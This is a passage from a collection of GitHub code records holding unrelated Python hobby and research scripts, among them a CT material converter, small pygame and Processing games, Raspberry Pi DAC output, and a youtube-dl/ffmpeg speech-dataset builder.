story_heading.a:\n with open('Tytuly.txt', 'a') as open_file:\n open_file.write((story_heading.a.text.replace(\"\\n\", \" \").strip()) + '\\n')\n else:\n with open('Tytuly.txt', 'a') as open_file:\n open_file.write((story_heading.contents[0].strip()) + '\\n')","repo_name":"MichalMakosiewicz/Practice_Python","sub_path":"Exercise 21.py","file_name":"Exercise 21.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28712708434","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Fixing random state for reproducibility\r\nnp.random.seed(19680801)\r\n\r\n# mu, sigma = 100, 15\r\n# x = mu + sigma * np.random.randn(10000)\r\nx = np.array([0,1,2,3,4,0,0,0,0,1,1,1,2,2,3])\r\n\r\nimport os\r\nimport argparse\r\nimport librosa\r\nimport struct\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom glob import glob\r\nfrom tqdm import tqdm\r\n\r\ndata_dir = './CH-SIMS/'\r\nmeta_dir = './CH-SIMS/metadata/'\r\nlabel_dir = meta_dir + 'sentiment/'\r\nfile_4 = [ 'M', 'T', 'A', 'V']\r\nlabels = {}\r\nlabel_score = {}\r\nfor file in file_4:\r\n labels[file] = pd.read_csv(os.path.join(label_dir, f'label_{file}.csv'))\r\n label_score[file] = labels[file].label.tolist()\r\nprint(type(label_score['M']))\r\nprint(len(label_score['M']))\r\nprint(label_score['M'][:20])\r\nlabel_M = label_score['M']\r\nlabel_T = label_score['T']\r\nlabel_A = label_score['A']\r\nlabel_V = label_score['V']\r\n\r\n\r\n\r\n# the histogram of the data\r\nn, bins, patches = plt.hist(label_M, bins = [-1,-0.6,-0.1,0.1,0.7,1], alpha=0.75,label='M')\r\nn, bins, patches = plt.hist(label_T, bins = [-1,-0.6,-0.1,0.1,0.7,1], alpha=0.75,label='T')\r\n# n, bins, patches = plt.hist(x, 5, density=True, facecolor='g', alpha=0.75)\r\n# print('n,bins,patches')\r\n# print(n,bins,patches)\r\n\r\nplt.xlabel('Smarts')\r\nplt.ylabel('Probability')\r\nplt.title('Histogram of IQ')\r\n# plt.text(60, .025, r'$\\mu=100,\\ \\sigma=15$')\r\n# plt.xlim(40, 160)\r\n# plt.ylim(0, 0.03)\r\n# plt.grid(True)\r\nplt.legend()\r\nplt.show()","repo_name":"DingNing123/mmsa","sub_path":"data/plot_hist.py","file_name":"plot_hist.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8508166858","text":"# Convert HU numbers to material density and composition\n# baed on Schneider et al, Phys. Med. Biol. 45 (2000) 459-478\n\nimport numpy as np\nfrom scipy.interpolate import interp1d\n\nnelement = 12\nelements = [ 'H', 'C', 'N', 'O', 'Na', 'Mg', 'P', 'S', 'Cl', 'Ar', 'K', 'Ca']\nmat = {# [ H C N O Na Mg P S Cl Ar K Ca]\n 'air': {\n 'HU': -950, # Considered fluctuations\n 'rho': 1.21e-3, # Value in Schneider's paper. At 20 degC and 101.325 kPa, the density of dry air is 1.2041e-3.\n 'elwt': np.array([ 0.0, 0.0, 75.5, 23.2, 0.0, 0.0, 0.0, 0.0, 0.0, 1.3, 0.0, 0.0])\n }, \n 'lung': {\n 'HU': -741,\n 'rho': 0.26,\n 'elwt': np.array([10.3, 10.5, 3.1, 74.9, 0.2, 0.0, 0.2, 0.3, 0.3, 0.0, 0.2, 0.0])\n },\n 'at3': { # Adipose Tissue 3\n 'HU': -98,\n 'rho': 0.93,\n 'elwt': np.array([11.6, 68.1, 0.2, 19.8, 0.1, 0.0, 0.0, 0.1, 0.1, 0.0, 0.0, 0.0])\n },\n 'ma': { # Yellow/Red Marrow (1:1)\n 'HU': -22,\n 'rho': 1.00,\n 'elwt': np.array([11.0, 52.9, 2.1, 33.5, 0.0, 0.0, 0.1, 0.1, 0.2, 0.0, 0.1, 0.0])\n },\n 'ag': { # Adrenal Gland\n 'HU': 14,\n 'rho': 1.03, \n 'elwt': np.array([10.6, 28.4, 2.6, 57.8, 0.0, 0.0, 0.1, 0.1, 0.2, 0.0, 0.1, 0.0])\n },\n 'si': { # Small Intenstine (Wall)\n 'HU': 23,\n 'rho': 1.03,\n 'elwt': np.array([10.6, 11.5, 2.2, 75.1, 0.1, 0.0, 0.1, 0.1, 0.2, 0.0, 0.1, 0.0])\n },\n 'ct': { # Connective Tissue\n 'HU': 100,\n 'rho': 1.12,\n 'elwt': np.array([ 9.4, 20.7, 6.2, 62.2, 0.6, 0.0, 0.0, 0.6, 0.3, 0.0, 0.0, 0.0])\n },\n 'cb': { # Cortical Bone\n 'HU': 1524,\n 'rho': 1.92,\n 'elwt': np.array([ 3.4, 15.5, 4.2, 43.5, 0.1, 0.2, 10.3, 0.3, 0.0, 0.0, 0.0, 22.5])\n }\n}\n\ndef HU2rho(HU):\n ''' Convert HU to density, input can be a scalar or an array '''\n HU_x = np.array([ -1000, -98, 14, 23, 100, 101, 1524])\n rho_y = np.array([1.21e-3, 0.93, 1.03, 1.03, 1.12, 1.0768, 1.92])\n rho = interp1d(HU_x, rho_y, kind='linear', bounds_error=False, fill_value='extrapolate')(HU)\n return rho\n\ndef HU2elwt(HU):\n if HU <= -950:\n elwt = mat['air']['elwt']\n elif HU <= mat['lung']['HU']:\n elwt = elwt_interpolate(mat['air'], mat['lung'], HU)\n elif HU <= mat['at3']['HU']:\n elwt = elwt_interpolate(mat['lung'], mat['at3'], HU)\n elif HU <= mat['ag']['HU']:\n elwt = elwt_interpolate(mat['at3'], mat['ag'], HU)\n elif HU <= mat['si']['HU']:\n elwt = elwt_interpolate(mat['ag'], mat['si'], HU)\n elif HU <= mat['ct']['HU']:\n elwt = elwt_interpolate(mat['si'], mat['ct'], HU)\n elif HU <= mat['cb']['HU']:\n elwt = elwt_interpolate(mat['ma'], mat['cb'], HU)\n else:\n elwt = mat['cb']['elwt']\n return elwt\n\ndef HU2elwt_Schneider(HU):\n ''' Convert HU to elemental weights, HU must be a scalar '''\n if HU <= -950:\n comp = mat['air']['elwt']\n elif HU <= -120:\n comp = mat['lung']['elwt']\n elif HU <= 14:\n comp = 0.93 * (14 - HU) / (114 + 0.1 * HU) * (mat['at3']['elwt'] - mat['ag']['elwt']) + mat['ag']['elwt']\n elif HU <= 23:\n comp = elwt_interpolate(mat['ag'], mat['si'], HU)\n elif HU <= 100:\n comp = 1.03 * (100 - HU) / (77 + 0.09 * HU) * (mat['si']['elwt'] - mat['ct']['elwt']) + mat['ct']['elwt']\n elif HU < 1524:\n comp = (1524 - HU) / (1566 + 0.92 * HU) * (mat['ma']['elwt'] - mat['cb']['elwt']) + mat['cb']['elwt']\n else:\n comp = mat['cb']['elwt']\n return comp\n\ndef elwt_interpolate(mat1, mat2, HU):\n ''' Interpolate elemental weights between two materials, HU must be a scalar '''\n elwt1 = mat1['elwt']\n elwt2 = mat2['elwt']\n r1 = mat1['rho']\n r2 = mat2['rho']\n H1 = mat1['HU']\n H2 = mat2['HU']\n elwt = r1 * (H2 - HU) / ((r1 * H2 - r2 * H1) + (r2 - r1) * HU) * (elwt1 - elwt2) + elwt2\n return elwt\n\n\nHU_bin = np.concatenate((np.array([-1000, -950, -120, -83, -53, -23, 7, 18, 80, 120]), np.arange(200, 1700, 100)))\n\n# Setting for Table 6 in the paper\n# HU_bin = np.concatenate((HU_bin, np.arange(200, 1600, 14)))\n\n# Setting 1\nHU_bin = np.concatenate((HU_bin, [-990, -970]))\nHU_bin = np.concatenate((HU_bin, np.linspace(-950, -741, 5, dtype=np.int)[1:]))\nHU_bin = np.concatenate((HU_bin, np.linspace(-741, -120, 13, dtype=np.int)[1:-1]))\nHU_bin = np.concatenate((HU_bin, np.array([-101, -73, -63, -43, -33, -13, -3, 100, 140, 160, 180])))\nHU_bin = np.concatenate((HU_bin, np.linspace(18, 80, 7, dtype=np.int)[1:-1]))\nHU_bin = np.concatenate((HU_bin, np.arange(200, 1600, 25)))\n\n# Setting 2 ...\n\n# Start processing\nHU_bin = np.sort(np.unique(HU_bin))\nHUs = np.arange(HU_bin[0], HU_bin[-1])\nnbin = len(HU_bin) - 1\n\nelwts = np.zeros((len(HUs), nelement))\nfor i in range(len(HUs)):\n elwts[i] = HU2elwt(HUs[i])\n\nidx_bin = HU_bin - HU_bin[0]\nelwt_bin = np.zeros((nbin, nelement))\nfor i in range(nbin):\n elwt_bin[i] = np.mean(elwts[idx_bin[i]:idx_bin[i+1]], axis=0)\n\nbin_low = HU_bin[:-1]\nbin_high = HU_bin[1:]\nbin_mean = (bin_low + bin_high) / 2.\nrho_HU = HU2rho(bin_mean)\n\nprint('{:d} HU bins'.format(nbin))\nfor i in range(nbin):\n print('{:>5d} - {:>4d} [{:>4d}]: {:<7.4g}'.format(bin_low[i], bin_high[i], bin_high[i]-bin_low[i], rho_HU[i]), end=' ')\n print(('{:>6.2f}' * nelement).format(*elwt_bin[i]))\n\n# Write material file\nwith open('mat_{:d}.txt'.format(nbin), 'w') as f:\n f.write('{:d} {:d}\\n'.format(nbin, nelement))\n for i in range(nbin):\n f.write(' {:>5d} {:<7.5f} '.format(bin_high[i], rho_HU[i]))\n f.write(('{:>7.3f}' * nelement).format(*elwt_bin[i]))\n f.write('\\n')\n f.write('# HU rho H C N O Na Mg P S Cl Ar K Ca\\n')\n f.write('# 1 2 3 4 5 6 7 8 9 10 11 12\\n\\n')\n f.write('# HU to elemental weights from Schneider et al, Phys. Med. Biol. 45 (2000) 459-478\\n')\n f.close()","repo_name":"xiaosj/G4-CT-Dose","sub_path":"HU2mat.py","file_name":"HU2mat.py","file_ext":"py","file_size_in_byte":6088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16935154226","text":"import RPi.GPIO as GPIO\nimport time\n\ndef dec2bin(value):\n return [int(element) for element in bin(value)[2:].zfill(8)]\n\ndac = [26,19,13,6,5,11,9,10]\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(dac, GPIO.OUT)\n\nT=6\ntry:\n while True:\n for x in range(0,256):\n Volt=(3.3*x/256)\n number = dec2bin(x)\n GPIO.output(dac,number)\n time.sleep(T/2/512)\n \n for x in range(255,-1,-1):\n Volt=(3.3*x/256)\n number = dec2bin(x)\n GPIO.output(dac,number)\n time.sleep(T/2/512)\n \n break\n\n\nfinally:\n GPIO.output(dac, 0)\n GPIO.cleanup() \n","repo_name":"ladnlav/get","sub_path":"lab4/4-2-triangle.py","file_name":"4-2-triangle.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3133439259","text":"\nimport unittest,collections\nfrom operator import itemgetter,attrgetter\nstudent_tuples = [\n ('john', 'A', 15),\n ('jane', 'B', 12),\n ('dave', 'B', 10),\n]\nclass Student:\n def __init__(self, name, grade, age):\n self.name = name\n self.grade = grade\n self.age = age\n def __repr__(self):\n return repr((self.name, self.grade, self.age))\nstudent_objects = [\n Student('john', 'A', 15),\n Student('jane', 'B', 12),\n Student('dave', 'B', 10),\n ]\nclass TDD_ASC_DES(unittest.TestCase):\n def test_asc_des(self):\n s = sorted(student_tuples, key=itemgetter(2), reverse=True)\n self.assertIsInstance(s,collections.Iterable)\n self.assertEqual(s,[\n ('john', 'A', 15),\n ('jane', 'B', 12),\n ('dave', 'B', 10),\n])\n s1=sorted(student_objects, key=attrgetter('age'), reverse=True)\n self.assertEqual(str(s1),str([\n Student('john', 'A', 15),\n Student('jane', 'B', 12),\n Student('dave', 'B', 10),\n ]))\n def test_stability_complex(self):\n data = [('red', 1), ('blue', 1), ('red', 2), ('blue', 2)]\n s=sorted(data, key=itemgetter(0))\n self.assertEqual(s, [('blue', 1), ('blue', 2), ('red', 1), ('red', 2),])\n s1 = sorted(student_objects, key=attrgetter('age')) # sort on secondary key\n self.assertEqual(str(s1),str([\n Student('dave', 'B', 10),\n Student('jane', 'B', 12),\n Student('john', 'A', 15),\n ]))\n s2 = sorted(s1, key=attrgetter('grade'), reverse=True)\n self.assertEqual(str(s2),str([\n Student('dave', 'B', 10),\n Student('jane', 'B', 12),\n Student('john', 'A', 15),\n ]))\n def multisort(xs, specs):\n for key, reverse in reversed(specs):\n xs.sort(key=attrgetter(key), reverse=reverse)\n return xs\n s3 = multisort(list(student_objects), (('grade', True), ('age', False)))\n self.assertEqual(str(s3),str(s2))\n\nif __name__ == '__main__':\n unittest.main()\n\n ","repo_name":"qcgm1978/py-test","sub_path":"test/sorting/asc_des.py","file_name":"asc_des.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"73465426669","text":"\"\"\"\nThe main function that manages the ArkGame (Model),\nArkView (View), and ArkController (Controller) classes of\nThe Ark.\n\"\"\"\nimport sys\nimport time\nimport random\nimport pygame\nfrom pygame.locals import QUIT\n\nfrom the_ark_game import LevelOneArkGame\nfrom the_ark_view import ArkView\nfrom the_ark_controller import ArkController\n\nSECONDS = 60\nframes_per_second = pygame.time.Clock()\ngame = LevelOneArkGame()\ngame_view = ArkView(game)\n\n# create Sprite groups based on functionality\nall_sprites = pygame.sprite.Group()\nmovable_sprites = pygame.sprite.Group()\n# create obstacle sprites\ncomets = game.comets\n# add the comets to all_sprites\nall_sprites.add(comets)\n# add the comets to movable_sprites, sprites that\n# move on the screen\nmovable_sprites.add(comets)\n# create icon sprites\nseeds = game.seeds\n# add the seeds to all_sprites\nall_sprites.add(seeds)\nplayer = ArkController(game, comets, seeds)\nall_sprites.add(player)\nmovable_sprites.add(player)\ndisplay_surf = game_view.set_screen()\n# loads and starts music\npygame.mixer.music.load(\"music-out_there.wav\")\npygame.mixer.music.play(loops=-1)\n\nwhile True:\n # If the player cliks the x button, the game window closes and\n # the program ends\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n # redraws and updates everything on the screen, including the\n # background, sprites, and texts\n game_view.update_screen(display_surf, all_sprites, movable_sprites)\n # Allows the player to \"collect\" seeds and updates their score with\n # every seed they collide with\n if pygame.sprite.spritecollideany(player, seeds):\n # gets the seed the player collided with\n item = pygame.sprite.spritecollideany(player, seeds)\n # increase the score\n new_score = game.inc_score()\n # removes the collected seed from its group\n item.kill()\n # if all three seeds are collected the Win screen is displayed\n # and the game is closed shortly thereafter\n if new_score == 3:\n game_view.game_won(display_surf)\n for sprite in all_sprites:\n sprite.kill()\n time.sleep(2)\n pygame.quit()\n sys.exit()\n # Decreases the number of lives the player has when they collide\n # with a obstacle\n if pygame.sprite.spritecollideany(player, comets):\n # get the obstacle the player collided with\n enemy = pygame.sprite.spritecollideany(player, comets)\n # decrease the number of lives left\n lives_left = game.lose_life()\n # if all three lives are lost, the Loss screen is displayed\n #and the game is closed shortly thereafter\n if lives_left == 0:\n game_view.game_lost(display_surf)\n for sprite in all_sprites:\n sprite.kill()\n time.sleep(2)\n pygame.quit()\n sys.exit()\n else:\n # spawn the collided obstacle back to the top of the screen\n enemy.rect.center = (random.randint(40, game.SCREEN_WIDTH-40), 0)\n pygame.display.update()\n frames_per_second.tick(SECONDS)\n","repo_name":"olincollege/the-ark-game","sub_path":"the_ark_play.py","file_name":"the_ark_play.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"10721205650","text":"import os\n\nimport pytest\n\nfrom parseltongue.AIPSData import AIPSUVData\nfrom parseltongue.AIPSTask import AIPSTask\n\n\n@pytest.fixture(scope=\"module\")\ndef input_file():\n return os.path.join(os.path.dirname(__file__), \"data\", \"VLBA1.UVCON\")\n\n\n@pytest.fixture(scope=\"module\")\ndef uvdata(userno):\n name = 'UVCON'\n uvdata = AIPSUVData(name, 'UVDATA', 1, 1)\n\n if uvdata.exists():\n uvdata.zap()\n\n yield uvdata\n\n if uvdata.exists():\n uvdata.zap()\n\n\ndef test_uvcon(uvdata, input_file):\n assert not uvdata.exists()\n\n uvcon = AIPSTask('uvcon')\n uvcon.outdata = uvdata\n uvcon.infile = input_file\n uvcon.smodel = [None, 1.0, 0.0, 0.0, 0]\n uvcon.aparm = [None, 1.4, 0, 30, -12, 12, 0, 120, 1, 1]\n uvcon.bparm = [None, -1, 0, 0, 0, 0]\n uvcon()\n\n assert uvdata.exists()\n assert len(uvdata.tables) == 2\n","repo_name":"voitsik/parseltongue","sub_path":"tests/test_uvcon.py","file_name":"test_uvcon.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"14033018137","text":"from scipy.ndimage.filters import gaussian_filter\nfrom moviepy.editor import VideoFileClip\nfrom PIL import Image, ImageEnhance\nfrom numpy import array\nimport cv2\nimport numpy as np\nimport os.path\nfrom api.video import compress_dimension_with_rotation_handled, convert_mp4_to_mov\nimport os\nimport dlib\nfrom api.human_face_detector import *\n\n\ndef blur(image):\n return gaussian_filter(image.astype(float), sigma=2)\n\n\ndef contrast(image):\n c = ImageEnhance.Contrast(Image.fromarray(image)).enhance(1.6)\n return array(c)\n\n\ndef sharp(image):\n shaprness = ImageEnhance.Sharpness(Image.fromarray(image)).enhance(7.0)\n return array(shaprness)\n\n\ndef bright(image):\n brightness = ImageEnhance.Brightness(Image.fromarray(image))\n r = brightness.enhance(1.5)\n return array(r)\n\n\ndef cartoonize(img, ds_factor=2, sketch_mode=False):\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n img_gray = cv2.medianBlur(img_gray, 9)\n\n # Detect edges in the image and threshold it\n edges = cv2.Laplacian(img_gray, cv2.CV_8U, ksize=5)\n ret, mask = cv2.threshold(edges, 100, 255, cv2.THRESH_BINARY_INV)\n if sketch_mode:\n img_sketch = cv2.cvtColor(mask, cv2.COLOR_GRAY2BGR)\n kernel = np.ones((3, 3), np.uint8)\n img_eroded = cv2.erode(img_sketch, kernel, iterations=1)\n return cv2.medianBlur(img_eroded, 5)\n # return cv2.cvtColor(mask, cv2.COLOR_GRAY2BGR)\n\n # Resize the image to a smaller size for faster computation\n img_small = cv2.resize(img, None, fx=1.0 / ds_factor,\n fy=1.0 / ds_factor, interpolation=cv2.INTER_AREA)\n num_repetitions = 10\n sigma_color = 5\n sigma_space = 7\n size = 5\n\n for i in range(num_repetitions):\n img_small = cv2.bilateralFilter(\n img_small, size, sigma_color, sigma_space)\n\n img_output = cv2.resize(img_small, None, fx=ds_factor,\n fy=ds_factor, interpolation=cv2.INTER_AREA)\n dst = np.zeros(img_gray.shape)\n\n # Add the thick boundary lines to the image using 'AND' operator\n dst = cv2.bitwise_and(img_output, img_output, mask=mask)\n return dst\n\ndef log_to_file(file, msg):\n with open(file, 'a') as f:\n f.write(msg + '\\n')\n\ndef paste_video(video_path, lock_file, recipes=['recipe_nose']):\n parsed = os.path.split(video_path)\n pastered = os.path.join(\n parsed[0],\n 'n-' + os.path.splitext(parsed[1])[0] + '.mp4'\n )\n\n log_to_file(lock_file, 'compressing...')\n d = compress_dimension_with_rotation_handled(video_path)\n log_to_file(lock_file, 'paster effects...')\n clip = VideoFileClip(video_path, target_resolution=d)\n paster_recipes = generate_paster(recipes)\n clip_processed = clip.fl_image(paster_recipes)\n log_to_file(lock_file, 'saving...')\n clip_processed.write_videofile(pastered)\n convert_mp4_to_mov(pastered)\n log_to_file(lock_file, 'done with paste_VIDEO')\n\ndef generate_paster(recipes):\n return lambda img: paste_face(img, recipes)","repo_name":"buzz-buzz/hongda","sub_path":"hongda/api/beautify.py","file_name":"beautify.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39968276448","text":"#Made my Swarup and Julian\n\n#Variables\nGRID_SIZE = 10\nSQUARE_SIZE = 0\nBOARD = []\nSHIPS = 3 #number of ships\nLIFE = 25\nWIN = False #if user won\nLOST = False #if user lost\n\ndef start_setup():\n #reset function, R is reset\n global GRID_SIZE, SQUARE_SIZE, BOARD, SHIPS, LIFE, LOST, WIN\n SHIPS = 5\n LIFE = 20\n LOST = False\n WIN = False\n \n BOARD = [] #empty the board\n \n for i in range(GRID_SIZE):\n BOARD.append(['0'] * GRID_SIZE)\n\n for i in range(SHIPS):\n r = int(random(0, GRID_SIZE))\n c = int(random(0, GRID_SIZE))\n if BOARD[r][c] != 'x':\n r = int(random(0, GRID_SIZE))\n c = int(random(0, GRID_SIZE))\n if BOARD[r][c] != 'x':\n r = int(random(0, GRID_SIZE))\n c = int(random(0, GRID_SIZE))\n BOARD[r][c] = 'x'\n fill(0, 0, 255)\n\ndef getSquare(x, y):\n global BOARD, SQUARE_SIZE\n return BOARD[int(y/SQUARE_SIZE)][int(x/SQUARE_SIZE)]\n\n# This will go through the BOARD and draw all the squares\ndef drawBoard():\n global BOARD, SQUARE_SIZE\n for i in range(len(BOARD)):\n #set different colors for different types of squares\n # 'x' is a ship\n # '!' is an empty square that was clicked by the user\n # 'k' is a square with a ship that was clicked by the user\n for j in range(len(BOARD[i])):\n stroke(255, 0, 0)\n #hack, remove comment to turn on\n '''if BOARD[i][j] == 'x':\n fill(0, 200, 0)\n el'''\n if BOARD[i][j] == 'k':\n fill(255,0,255)\n elif BOARD[i][j] == '!':\n fill(0, 255, 255)\n else:\n fill(0, 0, 255)\n rect(j * SQUARE_SIZE, i * SQUARE_SIZE, SQUARE_SIZE, SQUARE_SIZE)\n\n\ndef setup():\n global SQUARE_SIZE, GRID_SIZE, BOARD\n size(700, 700)\n SQUARE_SIZE = width / GRID_SIZE\n for i in range(GRID_SIZE):\n BOARD.append(['0'] * GRID_SIZE)\n\n for i in range(SHIPS):\n BOARD[int(random(0, GRID_SIZE))][int(random(0, GRID_SIZE))] = 'x'\n fill(0, 0, 255)\n \ndef draw():\n global SQUARE_SIZE, BOARD, SHIPS, LIFE\n if LIFE > 0 and SHIPS > 0:\n drawBoard()\n fill(245, 245, 22)\n textSize(15)\n text(\"Lives remaining:\"+str(LIFE),10, 15 )\n\ndef mousePressed():\n global SQUARE_SIZE, BOARD, SHIPS, LIFE, WIN, LOST\n \n if WIN == False and LOST == False:\n if getSquare(mouseX, mouseY) != 'k' and getSquare(mouseX, mouseY) != '!':\n if mouseButton == LEFT and getSquare(mouseX, mouseY) == 'x':\n print(\"KABOOM\")\n x = int(mouseX / SQUARE_SIZE)\n y = int(mouseY / SQUARE_SIZE)\n BOARD[y][x] = 'k'\n SHIPS = SHIPS - 1\n drawBoard()\n elif mouseButton == LEFT and getSquare(mouseX, mouseY) != 'x':\n LIFE -= 1\n print(\"You just lost a life!\", LIFE)\n x = int(mouseX / SQUARE_SIZE)\n y = int(mouseY / SQUARE_SIZE)\n BOARD[y][x] = '!' #changes the value to !, which represents a miss\n drawBoard()\n \n if SHIPS == 0:\n print(\"You win!\")\n WIN = True\n textSize(50)\n w = textWidth(\"You Win, you lucky dog!\")\n fill(255)\n text(\"You Win, you lucky dog!\", width/2 - w/2, height/2)\n if LIFE == 0:\n # show all the places where there was a ship\n for i in range(len(BOARD)):\n for j in range(len(BOARD[i])):\n stroke(255, 0, 0)\n if BOARD[i][j] == 'x':\n fill(0, 200, 0)\n rect(j * SQUARE_SIZE, i * SQUARE_SIZE, SQUARE_SIZE, SQUARE_SIZE)\n print(\"BOOO! You lost!\")\n LOST = True\n textSize(50)\n w = textWidth('BOOO! You lost!')\n fill(255)\n text('BOOO! You lost!', width/2 - w/2, height/2)\n w = textWidth('Better luck next time!')\n text('Better luck next time!', width/2 - w/2, height/2 + 50)\n textSize(30)\n text(\"Press r to restart.\", width/2 - textWidth(\"Press r to restart.\")/2, height - 60)\n#RESET\ndef keyPressed():\n if keyCode == 82: \n start_setup()\n#RESET","repo_name":"sdharASC/swarup_ASC3","sub_path":"battle_ships/battle_ships.pyde","file_name":"battle_ships.pyde","file_ext":"pyde","file_size_in_byte":4212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20304828295","text":"# THINGS TO CHANGE\n'''\n~/obamanet/data/obama_addresses.txt to a txt file of youtube url's to download\n~/obamanet/data/captionstest folder to temporarily store files (also cd to this and have this script in this directory)\n/home/paperspace/obamanet/data/wavs/ final data folder\n'''\n\n'''\n\n# split whole audio\nffmpeg -i /home/paperspace/obamanet/data/captionstest/n00001.wav -filter_complex \"[0:a]silencedetect=n=-35dB:d=0.4[outa]\" -map [outa] -f s16le -y /dev/null |& F='-aq 70 -v warning' perl -ne 'INIT { $ss=0; $se=0; } if (/silence_start: (\\S+)/) { $ss=$1; $ctr+=1; printf \"ffmpeg -nostdin -i /home/paperspace/obamanet/data/captionstest/n00001.wav -ss %f -t %f $ENV{F} -y /home/paperspace/obamanet/data/obama-combined/%03d.wav\\n\", $se, ($ss-$se), $ctr; } if (/silence_end: (\\S+)/) { $se=$1; } END { printf \"ffmpeg -nostdin -i /home/paperspace/obamanet/data/captionstest/n00001.wav -ss %f $ENV{F} -y /home/paperspace/obamanet/data/obama-combined/%03d.wav\\n\", $se, $ctr+1; }' | bash -x\n\n# write file names\nfind *.wav | sed 's:\\ :\\\\\\ :g'| sed 's/^/file /' > fl.txt\n\n# generate silence\nffmpeg -filter_complex aevalsrc=0 -t 1 silence.wav\n\n---\n\noutputFile = open('fl2.txt','w')\n\nwith open('fl.txt') as fh:\n for line in fh:\n outputFile.write(line)\n outputFile.write('file silence.wav\\n')\n\noutputFile.close()\n\n---\n\nffmpeg -f concat -i fl2.txt -c copy output.wav\nrm fl.txt\nrm fl2.txt\n\n'''\n\nimport glob\nimport re\nimport os\nimport csv\n\nos.system('youtube-dl --sub-lang en --write-sub --output \\'~/obamanet/data/captionstest/%(autonumber)s.%(ext)s\\' --batch-file ~/obamanet/data/obama_addresses.txt --ignore-config --extract-audio --audio-format wav --audio-quality 192K')\n\nos.system('rename \\'s/.en.vtt$/.txt/\\' *.en.vtt')\n\ntranscription_files = glob.glob('/home/paperspace/obamanet/data/captionstest/*.txt')\nwav_files = glob.glob('/home/paperspace/obamanet/data/captionstest/*.wav')\n\n# make sure file is 22050 Hz\nfor file in wav_files:\n name = file.split('/')[-1]\n os.system('ffmpeg -i ' + name + ' -ar 22050 -ac 1 ' + 'n' + name) # issues with size being very low if overwriting for some reason\n os.system('rm ' + name)\n\nfilenames_and_text = []\n\nfor file in transcription_files:\n count = 0\n file_open = open(file, mode='r')\n text = file_open.read()\n file_open.close()\n text = text.replace('WEBVTT\\nKind: captions\\nLanguage: en', '')\n text = text.replace('The President: ', '')\n text = text.replace('Hello, everybody.', 'Hi, everybody.')\n text = text.replace('\\n\\n', '##') # this will represent the end of a transcription\n text = text.replace('\\n', ' ')\n time_regex = re.compile(\"[0-9][0-9]:[0-9][0-9]:[0-9][0-9].[0-9][0-9][0-9]\")\n times = time_regex.findall(text)\n start = True\n starts = []\n lengths = []\n for time in times:\n if start:\n starts.append(time)\n start = False\n else:\n end_hours = int(time[0:2])\n end_minutes = int(time[3:5])\n end_seconds = float(time[6:12])\n end_time_total = (end_hours * 3600) + (end_minutes * 60) + end_seconds \n start_hours = int(starts[-1][0:2])\n start_minutes = int(starts[-1][3:5])\n start_seconds = float(starts[-1][6:12])\n start_total = (start_hours * 3600) + (start_minutes * 60) + start_seconds\n duration = round(end_time_total - start_total, 3)\n lengths.append(duration)\n start = True\n transcription_regex = re.compile(\"(?<=[0-9][0-9]:[0-9][0-9]:[0-9][0-9].[0-9][0-9][0-9] --> [0-9][0-9]:[0-9][0-9]:[0-9][0-9].[0-9][0-9][0-9] )([^##]+)(?=##)\")\n transcriptions = transcription_regex.findall(text)\n wav_file = file.split('/')[-1]\n wav_file = 'n' + wav_file.split('.')[0] + '.wav'\n for i in range(len(transcriptions)):\n os.system('ffmpeg -i ' + wav_file + ' -ss ' + str(starts[i]) + ' -t ' + str(lengths[i]) + ' -c:v copy -c:a copy /home/paperspace/obamanet/data/wavs/s' + wav_file[1:6] + '-' + str(count) + '.wav')\n filenames_and_text.append('s' + wav_file[1:6] + '-' + str(count) + '|' + transcriptions[i] + '|' + transcriptions[i])\n count += 1\n\nwith open('metadata-test.csv', 'w', newline='') as f:\n writer = csv.writer(f)\n for val in filenames_and_text:\n writer.writerow([val])\n\n# delete original, full audio files and transcriptions (only need the metadata.csv)\nwav_files = glob.glob('/home/paperspace/obamanet/data/captionstest/*.wav')\nfor file in wav_files:\n os.system('rm ' + file)\nfor file in transcription_files:\n os.system('rm ' + file)\n\n'''\nwav_files = glob.glob('/home/paperspace/obamanet/data/captionstest/*.wav')\nfor file in wav_files:\n os.system('ffmpeg -i ' + file + ' -af silenceremove=1:0.5:-35dB ' + file)\n'''\n \n#ffmpeg -i /home/paperspace/obamanet/data/captionstest/s00001-6.wav -af silenceremove=1:0.3:-45dB /home/paperspace/obamanet/data/captionstest/ss00001-6.wav\n#ffmpeg-normalize /home/paperspace/obamanet/data/captionstest/s00001-6.wav -o /home/paperspace/obamanet/data/captionstest/sss00001-6.wav -c:a aac -b:a 192k\n\n#ffmpeg -i obama-voice.wav -ss 00:00:05 -t 00:00:01.234 -c:v copy -c:a copy testdf.wav\n#ffmpeg -i n00001.wav -ss 00:00:10.543 -t 2.036 -c:v copy -c:a copy testdf.wav\n","repo_name":"wanshun123/test12342r2","sub_path":"dl.py","file_name":"dl.py","file_ext":"py","file_size_in_byte":5230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"6300276887","text":"#!/usr/env python\n# -*- coding: utf-8 *-*\n\nfrom states import *\n\nstart_state = StartState('start',\n {'weiter': 